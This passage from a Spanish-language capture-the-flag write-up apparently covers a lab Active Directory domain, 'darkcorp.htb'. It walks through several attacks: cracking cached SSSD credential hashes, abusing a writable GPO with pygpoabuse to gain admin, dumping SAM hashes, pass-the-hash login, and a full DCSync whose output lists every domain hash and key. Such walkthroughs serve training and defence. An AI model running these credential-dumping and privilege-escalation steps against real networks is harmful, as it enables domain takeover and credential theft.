Linux drip 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Could not chdir to home directory /home/darkcorp.htb/angela.w.adm: No such file or directory
angela.w.adm@drip:/$ id
uid=1730401107(angela.w.adm) gid=1730400513(domain users) groups=1730400513(domain users),1730401109(linux_admins)
-K: Habilitar el reenvío de credencialesKerberos.
También podríamos conectarnos a la cuenta
angela.w.admdesde dentro usando el comandoksuy cargando el ticket en la variableKRB5CCNAME.
# Transfer the TGT
sshpass
ebelford@drip:/tmp$ KRB5CCNAME=angela.w.adm.ccache ksu angela.w.adm
Shell as root - drip
Listando los privilegios que angela.w.adm posee a nivel de Sudoers, notaremos que puede ejecutar cualquier comando como cualquier usuario
angela.w.adm@drip:/tmp$ sudo -l
Matching Defaults entries for angela.w.adm on drip:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User angela.w.adm may run the following commands on drip:
(ALL : ALL) NOPASSWD: ALL
La cuenta
taylor.b.admtambién es miembro del grupoLinux_Admins, por lo que habríamos logrado el mismo resultado a través de ella.
taylor.b.adm@drip:/$ sudo -l
Matching Defaults entries for taylor.b.adm on drip:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User taylor.b.adm may run the following commands on drip:
(ALL : ALL) NOPASSWD: ALL
Escalaremos a root simplemente ejecutando sudo su
angela.w.adm@drip:/tmp$ sudo su
Linux System Enumeration
Podemos lanzar herramientas de enumeración como LinPEAS para buscar configuraciones que nos permitan movernos lateralmente por el dominio
sshpass -p 'ThePlague61780' scp -oStrictHostKeyChecking=no linpeas.sh ebelford@drip.htb:/tmp
Durante la ejecución de linpeas.sh, veremos la configuración de SSSD.
SSSD(System Security Services Daemon) es un servicio en sistemasLinuxque gestiona la identidad y la autenticación.Actúa como un puente centralizado entre una máquina local y servidores centralizados de directorios (como
Active Directory,LDAP, etc.).
root@drip:/# cat /etc/sssd/sssd.conf
[sssd]
services = nss, pam
domains = darkcorp.htb
[domain/darkcorp.htb]
id_provider = ad
cache_credentials = True
auth_provider = ad
access_provider = simple
default_shell = /bin/bash
use_fully_qualified_names= False
krb5_store_password_if_offline = True
simple_allow_groups = linux_admins
En este caso la configuración del proveedor nos dice que utiliza el dominio de Active Directory
Abusing SSSD - Cached Domain Credentials
La directiva cache_credentials = True significa que las credenciales se cachean localmente.
Esto permite que el acceso siga funcionando aunque no se pueda acceder al proveedor. Pero también nos permite extraerlas para intentar descifrarlas localmente.
Las credenciales cacheadas por sssdse guardan en una base de datos local en la ruta /var/lib/sss/db/cache_domain.com.ldb
root@drip:~# ls -la /var/lib/sss/db/
total 5356
drwx------ 2 root root 4096 May 29 22:46 .
drwxr-xr-x 10 root root 4096 Jan 10 2025 ..
-rw------- 1 root root 1609728 May 29 22:40 cache_darkcorp.htb.ldb
-rw------- 1 root root 2615 May 29 22:46 ccache_DARKCORP.HTB
-rw------- 1 root root 1286144 May 29 11:31 config.ldb
-rw------- 1 root root 1286144 Dec 30 2024 sssd.ldb
-rw------- 1 root root 1286144 May 29 22:40 timestamps_darkcorp.htb.ldb
Usando el comando strings y buscando por la palabra cachedPassword encontraremos las credenciales almacenadas en esta base de datos
root@drip:~# strings /var/lib/sss/db/cache_darkcorp.htb.ldb | grep -B 9 "cachedPassword"
nameAlias
taylor.b.adm@darkcorp.htb
isPosix
TRUE
lastUpdate
1736373877
initgrExpireTimestamp
ccacheFile
FILE:/tmp/krb5cc_1730414101_B5njUL
cachedPassword
$6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHvlnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.
cachedPasswordType
--
nameAlias
taylor.b.adm@darkcorp.htb
isPosix
TRUE
lastUpdate
1736373877
initgrExpireTimestamp
ccacheFile
FILE:/tmp/krb5cc_1730414101_B5njUL
cachedPassword
$6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHvlnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.
cachedPasswordType
Hash Cracking
En este caso las credenciales están hasheadas usando el algoritmo SHA-512-Crypt. Podemos intentar crackearlas usando herramientas como hashcat o john
john --wordlist=/usr/local/share/wordlists/rockyou.txt hashes.txt --format=sha512crypt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE4.1 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
!QAZzaq1 (?)
1g 0:00:04:12 DONE (2026-05-30 01:25) 0.003957g/s 393.3p/s 393.3c/s 393.3C/s 013183..yippee
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Logramos descifrar la contraseña, la cual corresponde a la cuenta taylor.b.adm. La validaremos en el dominio usando netexec
nxc smb "$DC_IP" -u 'taylor.b.adm' -p '!QAZzaq1'
SMB 172.16.20.1 445 DC-01 [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
SMB 172.16.20.1 445 DC-01 [+] darkcorp.htb\taylor.b.adm:!QAZzaq1
Shell as taylor.b.adm - DC-01
La cuenta taylor.b.adm es miembro del grupo Remote Management Users. Esto le permite conectarse remotamente usando el protocolo WinRM
evil-winrm-py -i "$DC_IP" -u taylor.b.adm -p '!QAZzaq1'
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.5.0
[*] Connecting to '172.16.20.1:5985' as 'taylor.b.adm'
evil-winrm-py PS C:\Users\taylor.b.adm\Documents> whoami
darkcorp\taylor.b.adm
Abusing Group Policy Objects (GPO)
GPO (
Group Policy Object) es un conjunto de configuraciones que se pueden aplicar a usuarios y equipos dentro de un dominio de Active Directory.Estas configuraciones determinan el comportamiento de los usuarios y/o equipos dentro de un dominio.
La cuenta taylor.b.adm es miembro del grupo GPO_Manager, el cual a su vez posee control sobre la GPO (Group Policy Object) SecurityUpdates a través de los permisos GenericWrite, WriteOwner y WriteDacl

Esto le otroga control para modifcar la estructura interna de la GPO para ejecutar acciones maliciosas.
Las políticas de grupo pueden incluir opciones de seguridad, claves de registro, instalación de software y scripts para el inicio y el apagado; además, los miembros del dominio actualizan la configuración de las políticas de grupo cada 90 minutos de forma predeterminada (cada 5 minutos en el caso de los controladores de dominio).
Esto significa que la política de grupo aplica la configuración establecida en el equipo de destino. (
adsecurity.org).
Defender
Si ejecutamos alguna herramienta dentro del Controlador de Dominio, volveremos a experimentar el bloqueo vía Windows Defender. En este punto podemos utilizar técnicas como ejecutar el binario en memoria, ofuscarlo, etc.
evil-winrm-py PS C:\Programdata> upload SharpGPOAbuse.exe .
evil-winrm-py PS C:\Programdata> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount taylor.b.adm --GPOName "SECURITYUPDATES"
Program 'SharpGPOAbuse.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount taylor.b.adm --GPON ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
Podemos usar el cmdlet Get-GPO -All para listar todas las GPOs disponibles (ya sé que puedo ver el Id desde BloodHound pero quiero ejecutar un poco de powershell, déjame en paz)
evil-winrm-py PS C:\Programdata> Get-GPO -All
DisplayName : Default Domain Policy
DomainName : darkcorp.htb
Owner : darkcorp\Domain Admins
Id : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 12/29/2024 3:28:27 PM
ModificationTime : 12/29/2024 4:31:46 PM
UserVersion : AD Version: 0, SysVol Version: 0
ComputerVersion : AD Version: 3, SysVol Version: 3
WmiFilter :
DisplayName : SecurityUpdates
DomainName : darkcorp.htb
Owner : darkcorp\Domain Admins
Id : 652cae9a-4bb7-49f2-9e52-3361f33ce786
GpoStatus : AllSettingsEnabled
Description : Windows Security Group Policy
CreationTime : 1/3/2025 3:01:12 PM
ModificationTime : 1/3/2025 4:01:12 PM
UserVersion : AD Version: 0, SysVol Version: 0
ComputerVersion : AD Version: 0, SysVol Version: 0
WmiFilter :
DisplayName : Default Domain Controllers Policy
DomainName : darkcorp.htb
Owner : darkcorp\Domain Admins
Id : 6ac1786c-016f-11d2-945f-00c04fb984f9
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 12/29/2024 3:28:27 PM
ModificationTime : 5/29/2026 12:29:14 PM
UserVersion : AD Version: 0, SysVol Version: 0
ComputerVersion : AD Version: 36, SysVol Version: 36
WmiFilter :
pyGPOAbuse.py
En mi caso opté por la opción más sencilla y es ejecutar el ataque desde fuera con herramientas como pyGPOAbuse.py.
Las posibilidades son inmensas, en mi caso añadí la cuenta taylor.b.adm al grupo Administrators local
pygpoabuse.py "$DOMAIN"/taylor.b.adm:'!QAZzaq1' -gpo-id "652cae9a-4bb7-49f2-9e52-3361f33ce786" -command 'net localgroup Administrators taylor.b.adm /add' -f -dc-ip $DC_IP
SUCCESS:root:ScheduledTask TASK_fb049f01 created!
[+] ScheduledTask TASK_fb049f01 created!
-f: Forzar una tarea programda inmediata.
Root Time
Al cabo de unos instantes, tendremos privilegios administrativos dentro del DC
nxc smb "$DC_IP" -u 'taylor.b.adm' -p '!QAZzaq1'
SMB 172.16.20.1 445 DC-01 [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
SMB 172.16.20.1 445 DC-01 [+] darkcorp.htb\taylor.b.adm:!QAZzaq1 (admin)
Credential Dumping
En este punto ya podemos leer la flag, pero sinceramente prefiero conectarme como Administrator o ganar una shell como nt authority\system.
Una opción rápida sería dumpear la SAM usando netexec
nxc smb "$DC_IP" -u 'taylor.b.adm' -p '!QAZzaq1' --sam
SMB 172.16.20.1 445 DC-01 [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
SMB 172.16.20.1 445 DC-01 [+] darkcorp.htb\taylor.b.adm:!QAZzaq1 (admin)
SMB 172.16.20.1 445 DC-01 [*] Dumping SAM hashes
SMB 172.16.20.1 445 DC-01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f:::
SMB 172.16.20.1 445 DC-01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 172.16.20.1 445 DC-01 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[02:02:48] ERROR SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information. regsecrets.py:436
SMB 172.16.20.1 445 DC-01 [+] Added 3 SAM hashes to the database
Shell as Administrator - DC-01
Una vez tenemos el hash NT del usuario Administrator a disposición, podemos usarlo para conectarnos al Controlador de Dominio haciendo PassTheHash
evil-winrm-py -i "$DC_IP" -u Administrator -H 'fcb3ca5a19a1ccf2d14c13e8b64cde0f'
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.5.0
[*] Connecting to '172.16.20.1:5985' as 'Administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> whoami
darkcorp\administrator
evil-winrm-py PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
0aa...
(Bonus) DCSync
DCSynces un ataque que permite simular el comportamiento de un controlador de dominio (DC) y recuperar datos de contraseñas a través de la replicación de dominios
De forma alternativa, podemos realizar un ataque DCSync para extraer todos los hashes del dominio
secretsdump.py darkcorp.htb/taylor.b.adm:'!QAZzaq1'@DC-01.darkcorp.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xe7c8f385f342172c7b0267fe4f3cbbd6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
darkcorp\DC-01$:aes256-cts-hmac-sha1-96:23f8c53f91fd2035d0dc5163341bd883cc051c1ba998f5aed318cd0d820fa1b2
darkcorp\DC-01$:aes128-cts-hmac-sha1-96:2715a4681263d6f9daf03b7dd7065a23
darkcorp\DC-01$:des-cbc-md5:eca71034201a3826
darkcorp\DC-01$:plain_password_hex:90d17589c9c348f3ea541982f161b1f658cec76e33e32762cba25cf55643a853efd93dd5cffec0cba16e008a2c7112715437d6a33b72e28405c53f68965349b0676128c9cb1997717523971bdaf255f72d9664d3ed5c06f1e5eb3a5b2ef6dc435727ed160e340591724e1230782e2484e25f8484a7b21bf102f71c9a91219cc23743377526a9c73eec8a70def939e673dd244d21be9ec18ba0d915bc080e8bfb3ac8953b5c6e64adb1107b062ddad75ce0e1f805bcdb52de979599787fac9d8246807055b4671191a41804f7918da2b82e3a4fde2959cd227a8af08982a89bcc7437e13426e8ff74273c4e0538a65eeb
darkcorp\DC-01$:aad3b435b51404eeaad3b435b51404ee:45d397447e9d8a8c181655c27ef31d28:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x395bad4405a9fd2285737a8ce7c6d9d60e6fceb3
dpapi_userkey:0x3f426bba655ad645920a84d740836ed1edf35836
[*] NL$KM
0000 65 DB D5 E7 F9 08 5C 24 AB 45 B5 E5 5D E5 3F DD e.....\$.E..].?.
0010 89 93 2A C7 F3 70 1E 5A B7 8D 4E D3 BA 3B 5F 0C ..*..p.Z..N..;_.
0020 A9 FC 32 69 57 6D E6 78 D0 07 33 43 FE 1E 06 A6 ..2iWm.x..3C....
0030 1E 56 2C 27 91 47 56 54 91 0D 20 79 E7 7A 2F 95 .V,'.GVT.. y.z/.
NL$KM:65dbd5e7f9085c24ab45b5e55de53fdd89932ac7f3701e5ab78d4ed3ba3b5f0ca9fc3269576de678d0073343fe1e06a61e562c2791475654910d2079e77a2f95
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7c032c3e2657f4554bc7af108bd5ef17:::
victor.r:1103:aad3b435b51404eeaad3b435b51404ee:06207752633f7509f8e2e0d82e838699:::
svc_acc:1104:aad3b435b51404eeaad3b435b51404ee:01f55ea10774cce781a1b172478fcd25:::
john.w:1105:aad3b435b51404eeaad3b435b51404ee:b31090fdd33a4044cd815558c4d05b04:::
angela.w:1106:aad3b435b51404eeaad3b435b51404ee:957246c8137069bca672dc6aa0af7c7a:::
angela.w.adm:1107:aad3b435b51404eeaad3b435b51404ee:cf8b05d0462fc44eb783e3f423e2a138:::
taylor.b:1108:aad3b435b51404eeaad3b435b51404ee:ab32e2ad1f05dab03ee4b4d61fcb84ab:::
taylor.b.adm:14101:aad3b435b51404eeaad3b435b51404ee:0577b4b3fb172659dbac0be4554610f8:::
darkcorp.htb\eugene.b:25601:aad3b435b51404eeaad3b435b51404ee:84d9acc39d242f951f136a433328cf83:::
darkcorp.htb\bryce.c:25603:aad3b435b51404eeaad3b435b51404ee:5aa8484c54101e32418a533ad956ca60:::
DC-01$:1000:aad3b435b51404eeaad3b435b51404ee:45d397447e9d8a8c181655c27ef31d28:::
DRIP$:1601:aad3b435b51404eeaad3b435b51404ee:3cb25e56c360e6dea7d7ef316d931bf6:::
WEB-01$:20601:aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:97064b5e2ed9569a7a61cb6e71fd624e20de8464fc6d3f7f9c9ccd5ec865cd05
Administrator:aes128-cts-hmac-sha1-96:0424167c3041ed3b8df4ab1c996690c1
Administrator:des-cbc-md5:a1b004ad46dc19d9
krbtgt:aes256-cts-hmac-sha1-96:2795479225a152c8958119e8549079f2a59e101d84a3e464603a9cced55580d6
krbtgt:aes128-cts-hmac-sha1-96:183ebcd77ae33f476eb13c3f4404b98d
krbtgt:des-cbc-md5:7fe9e5ad67524001
victor.r:aes256-cts-hmac-sha1-96:84e79cb6b8959ebdda0dc73d2c6728bb9664d0d75c2aef702b0ea0a4126570bb
victor.r:aes128-cts-hmac-sha1-96:bc1fa04172b62be4428af05dcd4941af
victor.r:des-cbc-md5:62491fa740918316
svc_acc:aes256-cts-hmac-sha1-96:21ebfe2a41e5d614795ef004a06135748d5af03d0f2ca7fd6f6d804ac00f759a
svc_acc:aes128-cts-hmac-sha1-96:aebdba02d03943f17f553495f5f5e1d1
svc_acc:des-cbc-md5:5bec0bb54a405ed9
john.w:aes256-cts-hmac-sha1-96:6c0d89a7461f21150bbab0e4c9dea04ca4feb27a4f432c95030dbfa17f4f7de5
john.w:aes128-cts-hmac-sha1-96:16da7304c10a476b10a0ad301f858826
john.w:des-cbc-md5:e90b041f52b30875
angela.w:aes256-cts-hmac-sha1-96:25f7053fcfb74cf4f02dab4b2c7cb1ae506f3c3c09e4a5b7229b9f21a761830a
angela.w:aes128-cts-hmac-sha1-96:15f1467015c7cdd49ef74fd2fe549cf3
angela.w:des-cbc-md5:5b0168dacbc22a5e
angela.w.adm:aes256-cts-hmac-sha1-96:bec3236552b087f396597c10431e9a604be4b22703d37ae45cde6cd99873c693
angela.w.adm:aes128-cts-hmac-sha1-96:994dccb881c6a80c293cac8730fd18a2
angela.w.adm:des-cbc-md5:cb0268169289bfd9
taylor.b:aes256-cts-hmac-sha1-96:b269239174e6de5c93329130e77143d7a560f26938c06dae8b82cae17afb809c
taylor.b:aes128-cts-hmac-sha1-96:a3f7e9307519e6d3cc8e4fba83df0fef
taylor.b:des-cbc-md5:9b8010a21f1c7a3d
taylor.b.adm:aes256-cts-hmac-sha1-96:4c1e6783666861aac09374bee2bc48ba5ad331f3ac87e067c4a330c6a31dd71a
taylor.b.adm:aes128-cts-hmac-sha1-96:85712fd85df4669be88350520651cfe2
taylor.b.adm:des-cbc-md5:ce6176f4f4e5cd9e
darkcorp.htb\eugene.b:aes256-cts-hmac-sha1-96:33e0cf90ad3c5d0cd264207421c506b56b8ca9703b5be8c58a97169851067fd1
darkcorp.htb\eugene.b:aes128-cts-hmac-sha1-96:adf8b2743349be9684f8ec27df53fa92
darkcorp.htb\eugene.b:des-cbc-md5:2f5ef4b06b231afd
darkcorp.htb\bryce.c:aes256-cts-hmac-sha1-96:e835ec6b7d680472bdf65ac11ec17395930b5d778ba08481ef7290616b1fa7a8
darkcorp.htb\bryce.c:aes128-cts-hmac-sha1-96:09b1a46858723452ce11da2335b602b0
darkcorp.htb\bryce.c:des-cbc-md5:26d55b5849b6e623
DC-01$:aes256-cts-hmac-sha1-96:23f8c53f91fd2035d0dc5163341bd883cc051c1ba998f5aed318cd0d820fa1b2
DC-01$:aes128-cts-hmac-sha1-96:2715a4681263d6f9daf03b7dd7065a23
DC-01$:des-cbc-md5:8038f74f7c0da1b5
DRIP$:aes256-cts-hmac-sha1-96:165ab6702fbc793dc3f69246511efc20748112b4fd5c1b8f179c4664b5ec5c72
DRIP$:aes128-cts-hmac-sha1-96:1dffa2c5ae76cd2473f76fc0940985a8
DRIP$:des-cbc-md5:0b460b98dfa2e625
WEB-01$:aes256-cts-hmac-sha1-96:f16448747d7df00ead462e40b26561ba01be87d83068ef0ed766ec8e7dd2a12e
WEB-01$:aes128-cts-hmac-sha1-96:7867cb5a59da118ad045a5da54039eae
WEB-01$:des-cbc-md5:38e00bb3d901eaef
[*] Cleaning up...
Gracias por leer, a continuación te dejo la cita del día.
I think and that is all that I am. — Wayne Dyer